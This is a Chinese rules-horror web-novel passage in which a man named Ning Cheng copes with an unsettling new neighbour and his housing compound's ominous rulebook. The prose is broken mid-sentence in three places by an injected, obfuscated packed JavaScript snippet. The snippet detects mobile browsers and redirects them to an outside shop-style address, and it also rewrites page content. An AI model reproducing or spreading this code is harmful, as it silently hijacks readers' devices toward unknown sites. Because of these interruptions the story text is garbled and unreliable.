《新邻居[规则怪谈]》 1. 第一天 宁琤家旁边搬来了一户新邻居。 他住在老式单元楼,一层只有两个住户。隔壁原先那位租客已经很久没有回来了,宁琤猜到自己近日会看到一张新面孔。但他还是没想到,新邻居来的第一天就敲开自己家门,和他自我介绍。 “哥,我是刚搬到402的,寻思来和周围人打个招呼。”站在他家门口的青年说。一句话完了,又显得局促,道:“呃,你看上去也好年轻啊。我今年刚毕业,也才找好工作……可以叫你‘哥’吧?” 宁琤听着他的话,一只手按在自家门把上,透过二十公分的空隙去看外面的青年。眼看对方眼神越来越晃,他终于认命地将门完全拉开。 “我应该是比你大,”宁琤干巴巴地说,“都工作好几年了。” 得到了还算友善的回复,青年松了口气,转而又笑:“总觉得空手来打招呼不太好,我就提了点水果。”说着,递给宁琤一个袋子。 宁城垂眼去看,刹那间,仿佛看到堆在塑料袋最上面的几颗苹果在尖叫。可很快,那些哭泣的愤怒的脸消失了,变成普通的水果。 宁琤眼皮跳了一下。 他面前,青年依然挂着诚恳的笑,维持递东西的姿势。 宁琤有点牙疼,很不想把东西接过来。可一转念,新邻居拿这种东西送自己恐怕只有两个原因。要么是刚刚搬来,并不知道自己买到了【变质过期的水果】,更不知道要怎么处理它;要么…… 总归是不太好拒绝的。 他还是接过袋子。保险起见,问对方:“这是从哪里买的?” “小区里的水果店。”青年回答,“我刚刚搬进来嘛,对附近的市场也不太熟。” 宁琤委婉表示:“那家啊……进小区的店,租金都比外面要高,不划算。”说着话,又低头看了一眼袋子。这会儿里头倒是正常的样子,好像刚才的场面只是宁琤的错觉。 青年也是一副完全不知道发生了什么的样子,和宁琤统一战线嘀嘀咕咕:“我其实也觉得,但又不知道该拎点什么。哎,对了!” 他再度扬起笑脸,大约是说过几句话、自觉与宁琤熟悉很多的缘故,眉眼也显得灿烂许多,“咱俩还没自我介绍呢。我叫闻淙,不是双人从,是水字旁一个宗。老有人读错我名字,哈哈。哥,你呢?” 笑过了,闻淙又眼巴巴看着宁琤。宁琤却没接茬,避重就轻道:“那我就叫你小闻吧。小闻,你既然搬来了,就先去看看小区公告栏里贴的生活指南。咱们这儿零零碎碎的规矩还蛮多的,是有点烦,不过习惯也还好。” “哦哦,”闻淙明显有些失望,却没多说什么,“谢谢哥,我知道了!” 宁琤心想,应该差不多能送客了。 没想到,闻淙话锋一转,竟又问他:“对了哥,我今天这个点来找你有没有打扰你啊?就是,我毕竟刚刚搬来,最近可能还会有些要麻烦你的地方。” 宁琤深呼吸了下:“没有。大家都是邻居,以后互帮互助的时候应该不少,你来就行了。不过我最近在居家办公,你要是在开会的时候来,那可能就没法回应你了。” “我知道了,哥,”闻淙笑道,“那我就先回去了。哦对,果子要快点吃啊!” 宁琤:“……” 他礼貌地道谢,送客。 把门关上以后,宁琤拎着袋子叹气。 物管会那条【拒绝变质过期食材】通知刚下来的时候,执行得并不顺利。年轻人们愿意遵从,家里老人却总不愿意浪费。尤其是水果这种东西,常常儿女前脚刚丢掉,他们后脚就捡回来、简单擦擦便入口。 直到接连有好几个老人说有人在他脑子里又哭又叫,儿女们一合计,发现几家长辈这点共同之处了,这才引起大家的重视。物管会也专门又发了公告,说他们已经在跟水果店协商,要把这家黑心店清出小区,近期请大家还是去原本的农贸市场买食物。 类似事之前也发生过,大家从一开始的恐慌到现在的习惯。群里还有人很乐观地说,上半年不是有一家快递驿站莫名其妙地来了,还总要半夜咚咚咚地敲门给人送东西吗?后来不也被物管会弄出去了? “咱们交了那么多会费,他们辛苦点也是应该的嘛。” 宁琤看着这些讨论,没有说话。 眼下,他要丢水果,却也不是把东西扔到垃圾袋那么简单。所有【变质过期食材】都必须在锅子里高温煮过,起码烧一个小时才能丢进垃圾桶。 一番操作下,锅子里很快传出“咕噜噜”的水声。几个苹果被他放了进去,接触开水的瞬间,超高分贝的尖叫从果子里爆发出来,震得操作台上的盘子“咔嚓”一声碎掉。 宁琤心疼地抽了口气,赶忙把锅盖扣好,又摸出一对耳机塞上。 不高兴。 又要买新餐具了。 《明月湾小区生活指南》第九条:勤俭节约从我做起。请按照家庭成员数量购买家中餐具,牙刷,拖鞋等生活物品。如有小区外的客人到访,请给他们使用一次性备用物品。 这也不节约啊——算了算了,来都来了,搬家更麻烦。 宁琤心头暗暗吐槽,手上倒是麻利。既然都到厨房了,时间也差不多,他干脆打开冰箱,端详起里面的东西,琢磨晚上要弄点什么来对付肚子。 说来自己对做饭这事儿也越来越厌倦了。明明一年前还是个很喜欢研究美食的人,可眼下物管会的规矩越来越多,里头又有不少和厨房有关系。虽然说来也就是“清洁完厨具之后再开始吃饭”“请勿将抹布放在洗手池内”“不使用的时候将案板竖起摆放”等琐碎小事,可还是让人觉得烦啊。 至于什么“必须使用物管会统一采购的厨具”“每个周末将菜刀统一送去检查”的要求,就更不用说了。 不光宁琤厌倦,业主群里抱怨的实在大有人在。还有人提到自己其实从来不会按照规定走,却也没闹肚子、进医院。物管会平时赚的还不够多吗,怎么连这种边边角角的钱也要从大家口袋里掏出来? 不出意料,第二天对方就被踢出群了。 不过,当前期准备工作结束,食物的香气从锅子里飘出来的时候,宁琤还是稍微开心了一点。 闻淙就是这个时候又来敲门的。两人再对上,不等宁琤开口,闻淙就快速地说:“实在不好意思,竟然这么快又来麻烦哥你了!我刚才去楼下看了公告栏,里面怎么连一天三顿饭都要求上了啊?周围好像没开餐馆,我刚刚搬来,家里厨具那些也没准备齐全。咳,哥,咱们打个商量,我给你付伙食费,你收留我几天?” 闻淙很真诚地看着宁琤。对上他的眼睛,宁琤原本稍稍缓和的心情又一次烦躁起来。 是因为闻淙脸上的笑吗?好像从自己开门的那一刻开始,他嘴角的弧度就没有变化。那么开心、灿烂,就好像……好像…… 宁琤挪开视线,避开自己情绪变化的源头。 “远亲不如近邻,大伙儿互相帮助是应该的。”他说,“请进吧,我晚上做了面条。一次性拖鞋在鞋柜最下面那层。” “面条?”闻淙开心了,“正好,我就喜欢吃面。诶,哥,你房子里的装修真不错。” “是吗?”宁琤随意地应了一声,“我自己设计的。” “那当然。”闻淙还是笑着说,“原来哥你是干室内设计的啊!我以前有个朋友也是,他还说开个个人工作室呢,也不知道你有没有听过他。” 宁琤:“做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14538627|155253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这行的太多了,竞争特别激烈。你不会是哄我的吧?真觉得不错?” “对,”闻淙用力地点头,“咱们两边房子原本的格局应该是对称的吧?你是不是砸了墙改格局?改得特别精妙,一下子就把使用空间扩大了好多。整体的色调,就是墙壁啊,电视墙啊,家具啊,这些搭配得也很好,让人印象深刻。尤其是那个沙发,我从来没见过这种设计,是不是哥你自己定制的啊?那个线条、那个轮廓……想想就觉得躺上去很舒服!” 宁琤没有镜子能照,却也觉得此刻自己脸上会写满“我觉得你在哄我”。但不得不说,嘴甜还是会有好处,至少他现在看着对方的时候没那么烦躁了。 等到了厨房,宁琤不动声色地将装了坏水果的垃圾桶往旁边踢开一点,确保闻淙不会看到里面的东西,这才打开锅子。 “真香啊。”闻淙在他背后说。声音极近,近乎贴在宁琤耳边。 宁琤头皮骤麻。不光如此,他耳下、包括更下方的手臂都麻了一片。闻淙怎么会距离自己那么近?他—— 不等宁琤有所反应,闻淙又站直了身体,照旧带着笑意,道:“哥,你手艺真好,我都想跟你一起住了。” 宁琤一动不动地站在原地,垂着眼,从雪亮锅身上的影子里去瞧闻淙。 对方还是齐齐整整地站着,虽然身形扭曲了点,但这也是锅子本身弧度的原因。 宁琤舌尖抵着上颚,缓缓在心头默念小区生活指南中关于邻里互助的那几条内容。手臂的麻木感逐渐消散了,他可以把面条舀出来、递给闻淙。 “好了,”嗓音有些沙哑,“去餐桌那边吃吧。” 闻淙再度回了他一个灿烂笑容:“好的哥!” 话多。 吵闹。 前后两次,加起来不过十多分钟的相处,已经让宁琤在心头给闻淙盖上这样的戳。 到了餐桌上,对方也在继续和宁琤叭叭叭,问他:“这个房子是你租的还是买的?” 宁琤吃面:“租的。” 闻淙:“租……这儿的房租其实还是贵了点,唉。” 宁琤喝汤:“是。” 闻淙张嘴。 宁琤捏着筷子,问他:“你真的看过公告栏了吗?” 闻淙眨眼:“看过的。啊,哥,你是说‘不要问陌生邻居隐私’这一条吗?” 宁城点头,闻淙又道:“可你知道我的名字,知道我的年纪、工作,咱们还算‘陌生邻居’吗?” 宁琤纠正他:“我只知道你刚刚找到工作。” 闻淙“哦”了声,“对,就在隔壁光明小学。” 宁琤:“……” 为了防止闻淙继续说话,他打开了电视。 他看着电视,闻淙看着他。 感宁琤到对方的视线,宁琤扭过头,闻淙同样扭过头——动作太快了,差点闪了脖子。 闻淙捂着脖子“哎哟哎哟”,宁琤皱皱眉头,看看对方碗里近乎没有动的面条,说:“你不是来吃饭的吗?” 闻淙连忙说“我马上吃”,随后呲牙咧嘴地把自己的脖子掰正。伴随“咔嚓”一声,他终于低下头,乖乖巧巧地挑起面条。 宁琤重新转过目光,去看电视上正播放的新闻。 前些日子出了起连环杀人案件,罪犯到现在都没有落网。主持人正一脸严肃郑重,向观众们道:“近期社会治安问题备受关注,本台郑重作出提醒:犯罪份子从不会将狰狞写在脸上,请大家不要被刻板印象误导,碰到态度和善、温和客气的陌生人便轻易卸下防备……滋滋……不要轻信陌生人……” 与此同时,一个不承认自己是“陌生人”的家伙正在宁琤面前稀里呼噜,大吃大喝。 2. 第一夜 饭后,闻淙自觉地端碗到了厨房,挽起袖子就要开始清理。 宁琤拦住他,确认:“生活指南里说的洗碗第一步是什么?” 闻淙无辜:“嗯……水流需要先空放一分钟,然后才能开始冲洗。” 宁琤果断把人推开:“你明天重新去看指南,实在记不住就手抄一遍。” 《明月湾小区生活指南》第十六条:小区建成时间长,水管老化。为了您和家人的健康,每日7:00及19:00将水流空放一分钟以上。若无红锈,接下来12小时可正常用水;若出现红锈,请及时关闭水龙头并使用清洁套装(物管会出品)清理水池,并闲置水龙头72小时以上。 他舀完面条那会儿正赶上下午七点,这才有了闻淙说的放水。现在不一样了,真让水空流那么久,回头被查了水表贴个“浪费”的戳又是一桩麻烦。 眼看蹭饭的指望不上,宁琤只好自己忙活。好不容易收拾好,他还没来得及擦汗,闻淙的声音又冒出来:“哥,那我帮你倒垃圾!” 宁琤一个激灵,这才发现,不知不觉间闻淙又到了离自己特别近的位置,胸膛近乎贴着自己的后背。 这会儿他侧头过去,恰好对上闻淙一眨不眨的眼睛。 新搬来得青年一脸灿烂,看得宁琤忍不住捏了捏手,告诉自己:“不行,上一个殴打邻居的人已经被从小区‘清退’了。虽然这家伙是刚刚来租房的,但……” 他默默往旁边挪了一点,“不用,我自己去就行。” 看闻淙前面的样子也知道,他十有八九闹不清楚倒垃圾的注意事项。 见状,闻淙瘪瘪嘴,脸上露出一抹遗憾。但青年很快又恢复积极,笑眯眯道:“那哥,你带我走一趟呗?刚突然想起来,其实我还不知道咱们小区垃圾站在哪儿呢。” 宁琤又开始手痒。 他深呼吸了两下,没说好,也没说不好,而是往窗外看了一眼。 闻淙留意到他的动作,一样看了过去。然而他初来乍到,自然不明白宁琤在观察什么。宁琤却知道,最近天黑以后,外头偶尔会起雾。 他只隔着家中玻璃见过,再有就是看到群里的讨论,说那雾贴在人身上便让人非常难受,衣服变得湿哒哒不说,还显得沉重了许多,“差点都没来得及走回家,就被压得倒在路上了”。 这话出现后不久,物管会在群里发出一条新闻报道。气象专家对着镜头侃侃而谈,道因为到了冬日,昼夜温差大,靠近地面的空气自然冷凝,这才有了近期榴花市频现的大雾。 工作人员又补充,近期小区生活指南会再度修订,增加相关内容。 但那都是之后的事了。眼下,宁琤见外间唯有明明净净的月色,到底点点头:“那就走吧。” 两个人结伴下楼,为了不让闻淙一直不停叫“哥”,宁琤先发制人,问起闻淙的情况。 “你到光明小学是带课,还是做行政工作?” “带课。”闻淙开开心心地回答,“大学是美院的,师范类专业,嘿嘿,工作也对口。” 这倒是和他前面说的有朋友当室内设计对得上。宁琤眼神动了动,又问:“教几年级?” “五年级。” “唔,美术老师是不是比较轻松?” “还可以吧?这学期学校新进的老师加上我还有一共八个,其中体育和音乐的老师和我一样,每周只上四节。其他同事就辛苦了,尤其是那些负责数学、英语的。 “唔,这么说起来,教语文的倒都是老职工,他们还兼了班主任。” 闻淙一边说,一边老气横秋地摇头。 宁琤被他的样子逗乐一瞬,很快又意识到什么,压下唇角,道:“我记得光明小学有职工宿舍吧?你怎么还出来租房。再怎么近,来来回回多了也不方便。” 闻淙耸耸肩:“没办法,职工宿舍是两人一间,但我和陌生人在一块儿会睡不着觉。为了保证教学质量,干脆出来租房。” 宁琤瞥他:“你不是刚毕业吗,哪儿来的钱。” 闻淙笑了一声:“再怎么刚毕业,也不至于一毛没有啊。我还找同事借了点,他们人都挺好,说反正在学校吃住基本不花钱,把手上多余的都给我了,就是让我平时多和他们交流交流教学经验。” 宁琤:“美术也有教学经验?” “有。都是带小孩,总有共通之处嘛。对了,我们领导人也好,说小科目老师对坐班要求没那么严格。今天明明是周内,也让我出学校收拾了。诶,哥,前面就是垃圾站吗?” 他前后话题跳跃太大,听得宁琤一愣,随即反应过来:不对,垃圾站不该这么近的。 他舌尖抵着上颚,缓缓抬头去看。不远处是有一个亮着灯的建筑,旁边还有个牌子,“雏鸟驿站”。 “这边生态好好啊。”闻淙还在感叹,“难怪生活指南上说在家也能听到鸟叫呢,楼下听着更明显。” 宁琤眼皮狂跳。有吗?生活指南里还有这么一条? “闭嘴。”他最终说,“看到左边那条路了吗?往里头走,别抬头。” 闻淙:“……唔!” 顶着宁琤蓦然转来的目光,他到底不再说什么,而是抬起手,做了个把自己嘴巴用拉链拉上的姿势。 接着,闻淙果然收敛了此前的跳脱吵闹,一言不发地垂着脑袋跟在宁琤身后。直到拐过数条路,彻底瞧不见驿站的灯光了,宁琤终于吐出一口气,重新放慢步子。 闻淙这会儿才小心翼翼地问:“哥,刚刚是怎么了?” 宁琤回忆了下物管会的说法,简单总结:“你看过那种骗局吗?就是给说你有个快递,掏了钱才能签收。但是真付费拿到了,才发现包裹里什么都没有。” 闻淙“啊”了声,说:“好像是听过,但一般和驿站没关系吧?里头工作人员还会劝你拒收。” 宁琤沉痛地说:“这家不一样,就是专门干那些缺德事儿的!前头就有业主吃亏,也投诉过、把他们从小区里清出去一次了,没想到又……唉。” 闻淙眼睛都瞪大了,“难道是他们买通了物管会?” 宁琤摇摇头:“不知道,就是,”听着耳边还是若有若无的鸟叫声,“挺烦的。算了,我明天给物管会说一声,先看看他们是什么反应吧。” 闻淙点头,“那哥,你辛苦了。” “维护小区环境嘛,”宁琤随口道,“人人有责。” 比较麻烦的是为了绕开驿站,他和闻淙多走了不少路。算下来,竟然已经到了前几天起雾的时候。 他心头祈祷自己二人不要那么倒霉,偏偏怕什么来什么。好不容易丢完垃圾,远处的楼宇已经开始模糊。往后走回单元楼的路上,雾气明显越来越大。好在宁琤对小区足够熟悉,这才赶在彻底看不清路之前进入楼道。 和群里其他人说的那样,雾气中带着细微的、却让人能清晰感受的重量,贴附在他的衣服上。湿漉漉的,指尖摸上去,还有点黏糊糊。 宁琤嫌弃地收回了手。动作间,余光扫到了闻淙。 青年也在试图将贴在皮肤上的衣服拉开些,动作里带着和宁琤如出一辙的嫌弃。不同的是,他周身散发着一圈红色的微光。 宁琤瞳仁蓦然收缩,“闻淙,你身上?!” 随着他的声音,闻淙身上的微微光亮又消散了。 宁琤近乎看到了“消散”的过程。他心乱如麻,尽力去回忆物管会发的新闻中是否有提到这样一段。一直到找到答案,这才有了模糊的安宁: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14538628|155253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……榴花市是工业大市,这也导致会有一些工厂排放的颗粒物附着在雾中,而在灯光的折射下这些颗粒物又经常呈现出不同的色彩……” 是正常的,并非闻淙身上有什么“情况”。 “咚咚”跳动的心脏开始变得安宁,宁琤这才有心思留意闻淙的反应。青年明显在困惑他方才那声叫喊,斟酌了片刻,才回答:“哥,我就是衣服沾了灰,人没事儿的。” 宁琤眼睛闭上,又睁开。 他嗓音微哑,轻声回答:“没事……那就上楼吧。” 老式居民楼自然是没有电梯的,平时出入只能靠两条腿。 楼道里的灯光是昏黄颜色,按说被安装得十分牢固,这会儿两人脚下的影子却有些晃晃悠悠。变大,变小。 宁琤起先不曾察觉这点。直到一个拐角平台,他心跳终于漏下一拍。 再回忆一下。他要求自己。节目上的专家有提到类似问题吗?——自己和闻淙一起回来,可他的影子分明还是平时的样子,只有闻淙不同。 “这些颗粒物随着雾气一起附着在其他物质上后,会带有扩散反应,”那道挨在自己影子旁边的黑影仿佛会随着呼吸的节奏胀开,缩小,“如将其吸入肺中,会出现呼吸道疾病。为了身体健康,请市民朋友们尽量不要在雾中行走。如果难以避免,请尽量保护口鼻,减少吸入。” 对了,扩散反应。 宁琤脚步不停,这时候,闻淙的声音又响了起来,依然距离宁琤那么近,“哥。” 楼道里安安静静,过了片刻才响起答复声音:“怎么了?” 闻淙问:“咱们不是已经到四楼了吗,你怎么还在往上走。” 宁琤听着,抬头,去看前方的两扇门。 401,402。 闻淙又摸摸下巴:“不过,怎么感觉和咱们两家的门和之前不太一样。” 是不一样。对旁人来说,其中的差别可能很微小。可宁琤的专业就是房屋设计,他自然一眼看出了门上油漆、门牌号位置等处的细微不同。 他抿了抿嘴,从口袋里取出门禁卡。上面有他的基本信息,以及家庭住址:明月湾小区7号楼1单元5层501。 宁琤的喉咙好像没有那么干涩了,回答道:“咱们不是住在五楼吗,这是四楼,当然不一样。” 闻淙诧异:“四楼?” 宁琤瞥他:“你的门禁卡上没有写吗?” 闻淙又露出那张宁琤已经看过数次的无辜面孔:“房东说我的门禁卡还在办。虽然生活指南上有写,但实际进出时查得也不严,这几天先凑合一下。” 宁琤:“哦,原来是这样。” 说到这儿,他们已经来到了501,502前面。 宁琤提醒闻淙:“你要是记不住楼层的话,可以给门上做个标记。不过咱们小区整体建设得比较好,门漆也都是比较高端、有自净功能的类型,标记消失很快,得隔三差五补一下。 “另外就是这种‘改造’本身算是对小区形象的破坏,物业看到了肯定要罚的,等门禁卡到手了就尽快擦掉。” 闻淙撇嘴:“这么复杂……啊,好,谢谢哥。” 宁琤忍住手痒,想了想,又觉得对方新搬来,可能没注意到之前新闻里关于雾气的报道,便按照专家的建议补充:“回去以后把衣服换掉,然后洗个澡。” 闻淙“嗯”了声,却还是没有进门的意思,而是叫道:“哥,我……” 宁琤的手已经插在口袋里,指尖摸着钥匙,却没有掏出的打算。 他看闻淙,问:“还有什么事?” 闻淙笑了一下,“没什么。晚上好好睡,晚安。” 宁琤:“你也是。 “晚安。” 3. 第二天 虽然和新邻居说了“晚安”,可真回到家了,宁琤还是加了几个小时班。 睡下已经是零点过后的事了。好在自从搬来明月湾,宁琤的睡眠质量便有了质的提升。又一个无梦的夜晚过去,清晨时分,他照常在广场舞的BGM中醒来。 此刻不过六点半,可倦意已经被照进屋中、驱散黑暗的阳光一并扫走。宁琤懒懒地打了个呵欠,下床洗漱。 自家盥洗室正对着小区的小广场,这儿也是阿姨们跳舞的地方。某位咬着牙刷的室内设计师闲来无事,站在窗口朝楼下张望。 伴随激昂的曲调,所有阿姨身着统一服装,脸上带着灿烂笑容,不断跟着音乐节奏摇摆。 放在其他小区,阿姨们大早上的“扰民”行为难免会引来抗议,可明月湾并非如此。成为住户的这段时间中,宁琤的最大感受便是:小区欢迎一切会带来快乐的事,也会主动经营一些让居民们能过得更热闹的活动。 比如生活指南第二十九条就提到,每周六晚上物业都会在小广场放电影,欢迎所有居民前去观看。还有第三十条,物业也会在各种节日时准备活动,一样欢迎居民参加。 相对的,如果是一些天生性格比较丧,或者想要改变明月湾中快乐现状的人,可能住不了两天就要被劝离。 “哗啦啦——” 宁琤吐掉嘴巴里的水和泡沫,又看了眼时间。 6:43,距离七点放水还有十几分钟。 一般他会用这段时间清扫屋子。可今天不同,宁琤手刚触碰到笤帚,便听到“咔嚓”一声。 老小区的隔音总不太好,只是他已经有段日子没有听到类似动静,以至于稍微愣了愣,才意识到昨天隔壁多了一位新住户。 闻淙的笑脸浮现在他脑海中。来不及有更多联想,宁琤分辨出几声脚步。 奇怪——下楼的楼梯在502那边…… 脚步停下,答案出现。 心跳声变得清晰起来,握着扫帚把的指尖微微僵硬。宁琤身子一动不动,唯有脖子轻轻转动,去看屋门方向。 他知道这么做的不只自己一人,闻淙同样停留在501门口。 对方想干什么?要说是来继续来找自己蹭早饭,怎么不直接敲门呢? “怦怦。” 宁琤嘴唇有些发干。 “怦怦。” 闻淙他…… “怦——怦!” 脚步声又响了起来。这一次,距离宁琤越来越远。 闻淙没做出任何多余举动,就这样离开了。 宁琤将扫帚放回原位,用最轻的步子走到门边,自猫眼往外望去。 脑海里闪过很多画面。如果在恐怖片里,他这会儿见到的可能是一片鲜红,也可能是浑身血色的闻淙。可这到底只是宁琤的普通生活,所以入目的只有寻常楼道。 看着这空旷场景中,宁琤正要松一口气,手机便“嗡嗡”地震动起来。 6:58,是他设置的闹铃。 宁琤摇摇头,回到盥洗室,准备放水。 思绪也顺水流淌。 闻淙那些同事既然可以在学校住宿,那也一定可以在校内吃饭。这会儿时间是早了点,可他现在出门,到校时应该恰好能赶上早餐。 倒是昨晚,对方放着食堂不吃、专门跑来自己家的事儿,更加值得琢磨。 眉尖压下,又缓缓松开。 青年自我介绍时说得“大学刚毕业”这话真假不论,可在隔壁小学教书应该是实话。 宁琤一直没怎么关注过小区旁边的小学,但平日进进出出,多少听一些邻居聊起些相关之事。 正经话题是光明小学的综合实力不错,很多学生都能升到市一中。而只要能成为一中学生,就相当于一只脚踏入大学门槛。 入学卡得也不算很严,明月湾正好在其学区内,小区里的孩子都能顺利报名。 杂七杂八的话题就多了去了,下到每个小孩在开学仪式时回家描述的校长样貌都不一样,从擎天柱到想不起来一应俱全,童言稚语真是可爱,上到学生们的心理健康问题。 “现在小孩子的压力都太大了。听说好多学生读着读着就不读了,搬到其他地方的也有。” “嘶,怎么这样?是老师要求太严格吗?” “你要说这么具体的我是不知道,但那边校规是挺多的,好像连在学校做游戏都不行。” “这也还好吧?毕竟学校就是学习的地方。” “嗐,可咱们小时候碰到课间十分钟了,不都要跑出去跳皮筋踢毽子?这会儿不行了,被老师抓到一次就回家反思……” 哗啦啦,哗啦啦。 7:01,宁琤把水龙头关掉。 想这么多压根没用。他一非光明小学教职工,二非某个小学生的家长,压根没有进到隔壁打探情况的机会。 相比之下,还是待会儿买菜的时候找物管会投诉的事儿更适合他。 事情进行得还算顺利。他在值班室说起“昨晚看到驿站”的时候,工作人员已经皱起眉头。再说到“听人说小区生活指南里多了新内容”时,对方更是脸色骤变,一下子凑到宁琤面前,急切地问:“这位住户,你确定吗?” 宁琤不习惯和人这么近。他上半身往后倾,脚也跟着退了数步,把双方拉到安全距离了,这才回答:“当然确定。袁代表,”这么叫是因为对方正是小区里的业主代表,“你要不要自己过去看看?” “是得看看。”袁代表忧心忡忡地说,宁琤似乎还听到对方念了一句:“这次怎么这么快,难道……” 记起自己面前还有个人,她赶忙收住声音,又把要走的宁琤叫住,“等等,先生。” 宁琤疑问:“怎么了?” 袁代表左右看看,像是在寻找什么东西。桌面被她的动作翻得乱七八糟,一个长方形的茶包盒子被推到最前面。过了足足两分钟,她终于抱着一个本子叫道:“找到了!先生,你前面反映的内容得做个登记。不用你写,我写完你签个确认就行,可以匿名。呃,你赶时间吗?” 眼看宁琤拿起手机看屏幕,袁代表有些担心地问。 宁琤摇摇头:“没关系,我等你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14538629|155253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 一直到他签好字,袁代表才松一口气,目送人离开。 又把桌子上的茶包盒重新收好,喃喃自语:“对着‘盒子’没反应,看来没被驿站污染。也对,按照刚才说的,昨晚他根本没有真正接近驿站。呼,是件好事儿。” 说着话,她随手把刚才千辛万苦找到的本子扔到一边儿。 话分两头。投诉过后,宁琤前往距离明月湾有一条街距离的农贸市场。 小区倡议居民们食用新鲜食物,这也符合传统健康饮食观,哪怕宁琤私下觉得吃得不新鲜点也不会出事,明面上他还是选择遵从。 只是买菜的时候,他不免又想到闻淙,继而犯嘀咕:“那家伙今晚会不会又来?” 要说欢迎对方吧,肯定谈不上。可真来了的话,他还能把人赶出去吗? 《明月湾小区生活指南》第七条:俗话说“远亲不如近邻”。当邻居真诚向您求助时,不妨热情给予帮助,让友善互助在小区蔚然成风。 宁琤昨天对新邻居说的话不是客气,而是又一条居住在此地的要求。想到这儿,他脸色不太好看,可还是买了比往日多一倍的菜。 再回小区的时候,宁琤特地去公告栏边看了一眼。 物管会动作倒是快,眼前的指南明显是新打印出来的时候,散发着油墨的味道。 他快速将整篇都扫了一遍,关于邀请居民听鸟叫的内容果然已经消失了,取而代之的是“天气转凉,在家时请关好门窗,防止寒气侵入屋内”。 用关窗来隔音吗? 宁琤眉尖挑了挑,没再停留。 回家,做饭。 吃饭,工作。 真开始忙碌,一天时间很快就过去了。 转眼来到傍晚,虽然心烦意乱,可宁琤到底多备了些菜。只是随着时间推移,他又开始觉得自己多虑。光明小学下午五点半放学,这会儿已经快要七点。闻淙到现在都不出现,多半是决定今晚住在学校宿舍。 ——榴花市这地方,总是说什么来什么。 宁琤刚刚决定自己今晚努力一下、多吃点东西,就听到了“咚咚咚”的声音。 有人在敲门。不对,应该说“砸门”了。声音越来越大,频率也越来越快。 宁琤喉结滚动,没有应声。 “拜访邻居时,请主动告知身份”也是明月湾生活指南里的一部分,外面正敲门的存在显然不知道这点。 等等,闻淙是不是也对指南内容很不熟悉? 宁琤纠结了下,还是走到门边。这时候,外面的“咚咚”动静更剧烈了,屋门也跟着“咣咣”的晃动起来。 外面的人终于发出了声响,“哥,是我,是我,我回来了—— “我好饿,晚上能不能在你家吃饭?” 在按下门把手前,宁琤眼神一动,先重复了早上的动作,缓缓凑向猫眼。 眸子对准门外的一刻,他不能说是毫无心理准备,瞳仁却还是猛地收缩。 红色! 清晨的想象成为现实,闻淙身上竟是大片大片殷红之色! 4. 第二夜(1) 那些红色深深浅浅地出现在闻淙衣服上,近乎将他的整个上身浸透。 昨天还齐齐整整的青年,这会儿变得破破烂烂,就连脸颊上也带着晕开的红痕。 好好上个班,怎么狼狈成这样子? “哥,你在家吗?”大约是宁琤朝外看的时间太长,闻淙又开口了,面孔也凑过来,眼睛同样贴上猫眼。 宁琤瞳仁一震,蓦地躲开。 他后背贴着屋门,听外间的青年又说:“我看见了,灯亮着呢。哥,我知道你在。 “给我开门吧,我今天认真看过生活指南了,只是留我吃饭而已,不违反指南那些要求。” 宁琤喉结滚动,低头去看手边的门把手。指头张开,又合拢。 他当然知道这个。同时也看出来了,虽然闻淙外观不太妥帖,可那些红色应该不是受伤流血导致。若是这样,不至于到现在“血液”都不氧化、依然颜色那么鲜艳。 可正因如此,他才愈有顾虑。闻淙一个刚刚入职的老师,在身上抛下同期同事们跑出来租房已经很奇怪了。哪怕这点能用不习惯和别人同住解释过去,对方这明摆缠上自己的样子,也让宁琤生出几分不妙预感。 人做事总有目的,那么闻淙的目的是什么? “哥,哥。” 闻淙还在叫宁琤。 宁琤可以分辨出他声音的变化。一开始是青年人清亮的嗓音,慢慢的变成了含含糊糊、像是带了哭腔似的。 “我好饿啊,”他说,“我只是想要吃点东西,这也不是什么大问题吧?你为什么不理我。” 宁琤听到这里,深深地吸了一口气。 明月湾需要“快乐”,对方这个状态,兴许会吸引来物业“清退”。 想到这里,宁琤到底还是开门了。 隔着门框,屋内的光线落在外面的闻淙身上。闻淙原本满脸都是伤心失望,可在见到宁琤的那一刻,他脸上重新露出了那份灿烂的、像是生怕被看出半分虚假的笑容。 “哥!”他身体倾向宁琤,很爽朗地和这位年长数岁的邻居打招呼,“你终于给我开门了!” 你终于—— 宁琤注视着他,余光却已经留意到闻淙身后。 原本陈旧、冰冷、总带着一层淡淡灰色的墙壁不知何时已经发生了变化,显露出奇异的柔软。502的屋门伫立其中,边缘处正与那份“柔软”毗邻,于是呈现出一种类似陷入当中的状态。 些许浊色、粘稠的液体从门边的缝隙中挤了出来,不大的楼道空间中多了淡淡酸味。 